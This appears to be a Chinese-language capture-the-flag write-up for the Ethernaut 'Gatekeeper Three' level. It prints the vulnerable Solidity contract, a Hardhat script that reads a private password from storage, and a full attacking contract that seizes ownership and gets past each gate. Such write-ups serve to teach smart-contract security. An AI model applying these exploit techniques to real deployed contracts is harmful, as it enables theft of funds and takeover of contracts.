Gatekeeper Three 1. 题目要求
1.1 应对大门并成为进入者。
可能有帮助的事情:
调用低级函数的返回值。
注意语义。
刷新存储在以太坊中的工作方式
1.2 题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleTrick { GatekeeperThree public target; address public trick; uint private password = block.timestamp; constructor (address payable _target) { target = GatekeeperThree(_target); } function checkPassword(uint _password) public returns (bool) { if (_password == password) { return true; } password = block.timestamp; return false; } function trickInit() public { trick = address(this); } function trickyTrick() public { if (address(this) == msg.sender && address(this) != trick) { target.getAllowance(password); } } } contract GatekeeperThree { address public owner; address public entrant; bool public allowEntrance; SimpleTrick public trick; function construct0r() public { owner = msg.sender; } modifier gateOne() { require(msg.sender == owner); require(tx.origin != owner); _; } modifier gateTwo() { require(allowEntrance == true); _; } modifier gateThree() { if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { _; } } function getAllowance(uint _password) public { if (trick.checkPassword(_password)) { allowEntrance = true; } } function createTrick() public { trick = new SimpleTrick(payable(address(this))); trick.trickInit(); } function enter() public gateOne gateTwo gateThree { entrant = tx.origin; } receive () external payable {} }
2. 分析
解读GatekeeperThree合约
要成功注册,则需要成功调用enter
函数,而成功调用的前提是,通过三个“守门员”。
gateOne():很简单,只要调用者不是EOA
账户即可,写一个攻击合约即可。
gateTwo() :require(allowEntrance == true)
,要求成功调用getAllowance
函数,这要求猜对SimpleTrick
中的密码,智能合约是公开同名的,可以通过脚本来获取智能合约上私有变量的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 it ("Execution" , async function ( ) { let three_contract = await (await ethers.getContractFactory ('GatekeeperThree' , deployer)).deploy (); await three_contract.connect (player); let slot2 = await ethers.provider .getStorage ("0x0A49D6c8267b21A7cB670fD7544448B76Bfb822b" , 2 ); console .log (`slot2 = ${slot2} ` ); });
可以借助脚本获取智能合约上的密码
gateThree():往合约中转入大于0.001ether
的ETH,且在攻击合约中使得回调函数返回的值为false
即可。
3. 解题 综上,可有攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 contract Hack { GatekeeperThree three; SimpleTrick trick; constructor(address payable _three) { three = GatekeeperThree(_three); three.createTrick(); trick = three.trick(); } function attck(uint password) public payable { three.construct0r(); three.getAllowance(password); payable(address(three)).transfer(0.0011 ether); three.enter(); require(three.entrant() == msg.sender, "you are not entering"); } receive() external payable { if (msg.value == 0.001 ether) { revert(); } } }